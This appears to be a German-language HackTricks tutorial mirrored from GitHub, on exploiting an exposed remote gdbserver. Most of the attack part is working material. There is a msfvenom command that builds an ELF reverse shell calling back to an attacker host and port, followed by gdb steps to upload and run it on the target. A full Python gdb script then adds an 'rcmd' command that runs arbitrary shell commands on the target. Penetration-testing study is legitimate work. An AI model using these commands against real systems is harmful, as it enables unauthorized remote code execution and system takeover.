mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
218 lines
8.3 KiB
Markdown
218 lines
8.3 KiB
Markdown
# Pentesting Remote GdbServer
|
|
|
|
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Sofort verfügbarer Setup für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
## **Grundinformationen**
|
|
|
|
**gdbserver** ist ein Tool, das das Debuggen von Programmen aus der Ferne ermöglicht. Es läuft neben dem Programm, das debuggt werden muss, auf demselben System, bekannt als das "Ziel". Dieses Setup ermöglicht es dem **GNU Debugger**, von einem anderen Computer, dem "Host", zu verbinden, wo der Quellcode und eine binäre Kopie des debugged Programms gespeichert sind. Die Verbindung zwischen **gdbserver** und dem Debugger kann über TCP oder eine serielle Leitung hergestellt werden, was vielseitige Debugging-Setups ermöglicht.
|
|
|
|
Sie können einen **gdbserver auf jedem Port lauschen lassen** und im Moment **kann nmap den Dienst nicht erkennen**.
|
|
|
|
## Ausnutzung
|
|
|
|
### Hochladen und Ausführen
|
|
|
|
Sie können leicht einen **elf Backdoor mit msfvenom** erstellen, ihn hochladen und ausführen:
|
|
```bash
|
|
# Trick shared by @B1n4rySh4d0w
|
|
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
|
|
|
chmod +x binary.elf
|
|
|
|
gdb binary.elf
|
|
|
|
# Set remote debuger target
|
|
target extended-remote 10.10.10.11:1337
|
|
|
|
# Upload elf file
|
|
remote put binary.elf binary.elf
|
|
|
|
# Set remote executable file
|
|
set remote exec-file /home/user/binary.elf
|
|
|
|
# Execute reverse shell executable
|
|
run
|
|
|
|
# You should get your reverse-shell
|
|
```
|
|
### Führen Sie beliebige Befehle aus
|
|
|
|
Es gibt einen weiteren Weg, um **den Debugger dazu zu bringen, beliebige Befehle über ein** [**benutzerdefiniertes Python-Skript, das hier entnommen wurde**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) **auszuführen.**
|
|
```bash
|
|
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
|
target extended-remote 192.168.1.4:2345
|
|
|
|
# Load our custom gdb command `rcmd`.
|
|
source ./remote-cmd.py
|
|
|
|
# Change to a trusty binary and run it to load it
|
|
set remote exec-file /bin/bash
|
|
r
|
|
|
|
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
|
|
tb main
|
|
r
|
|
|
|
# Run the remote command, e.g. `ls`.
|
|
rcmd ls
|
|
```
|
|
Zuerst **erstellen Sie dieses Skript lokal**:
|
|
|
|
{% code title="remote-cmd.py" %}
|
|
```python
|
|
#!/usr/bin/env python3
|
|
|
|
import gdb
|
|
import re
|
|
import traceback
|
|
import uuid
|
|
|
|
|
|
class RemoteCmd(gdb.Command):
|
|
def __init__(self):
|
|
self.addresses = {}
|
|
|
|
self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
|
|
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
|
|
|
|
gdb.execute("set detach-on-fork off")
|
|
gdb.execute("set follow-fork-mode parent")
|
|
|
|
gdb.execute("set max-value-size unlimited")
|
|
gdb.execute("set pagination off")
|
|
gdb.execute("set print elements 0")
|
|
gdb.execute("set print repeats 0")
|
|
|
|
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
|
|
|
|
def preload(self):
|
|
for symbol in [
|
|
"close",
|
|
"execl",
|
|
"fork",
|
|
"free",
|
|
"lseek",
|
|
"malloc",
|
|
"open",
|
|
"read",
|
|
]:
|
|
self.load(symbol)
|
|
|
|
def load(self, symbol):
|
|
if symbol not in self.addresses:
|
|
address_string = gdb.execute(f"info address {symbol}", to_string=True)
|
|
match = re.match(
|
|
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
|
|
)
|
|
if match and len(match.groups()) > 0:
|
|
self.addresses[symbol] = match.groups()[0]
|
|
else:
|
|
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
|
|
|
|
return self.addresses[symbol]
|
|
|
|
def output(self):
|
|
# From `fcntl-linux.h`
|
|
O_RDONLY = 0
|
|
gdb.execute(
|
|
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
|
|
)
|
|
|
|
# From `stdio.h`
|
|
SEEK_SET = 0
|
|
SEEK_END = 2
|
|
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
|
|
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
|
|
if int(gdb.convenience_variable("len")) <= 0:
|
|
gdb.write("No output was captured.")
|
|
return
|
|
|
|
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
|
|
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
|
|
gdb.execute('printf "%s\\n", (char*) $mem')
|
|
|
|
gdb.execute(f'call (int){self.load("close")}($fd)')
|
|
gdb.execute(f'call (int){self.load("free")}($mem)')
|
|
|
|
def invoke(self, arg, from_tty):
|
|
try:
|
|
self.preload()
|
|
|
|
is_auto_solib_add = gdb.parameter("auto-solib-add")
|
|
gdb.execute("set auto-solib-add off")
|
|
|
|
parent_inferior = gdb.selected_inferior()
|
|
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
|
|
child_pid = gdb.convenience_variable("child_pid")
|
|
child_inferior = list(
|
|
filter(lambda x: x.pid == child_pid, gdb.inferiors())
|
|
)[0]
|
|
gdb.execute(f"inferior {child_inferior.num}")
|
|
|
|
try:
|
|
gdb.execute(
|
|
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
|
|
)
|
|
except gdb.error as e:
|
|
if (
|
|
"The program being debugged exited while in a function called from GDB"
|
|
in str(e)
|
|
):
|
|
pass
|
|
else:
|
|
raise e
|
|
finally:
|
|
gdb.execute(f"inferior {parent_inferior.num}")
|
|
gdb.execute(f"remove-inferiors {child_inferior.num}")
|
|
|
|
self.output()
|
|
except Exception as e:
|
|
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
|
|
raise e
|
|
finally:
|
|
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
|
|
|
|
|
|
RemoteCmd()
|
|
```
|
|
{% endcode %}
|
|
|
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
|
|
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
|
|
|
{% hint style="success" %}
|
|
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Unterstützen Sie HackTricks</summary>
|
|
|
|
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
|
|
|
</details>
|
|
{% endhint %}
|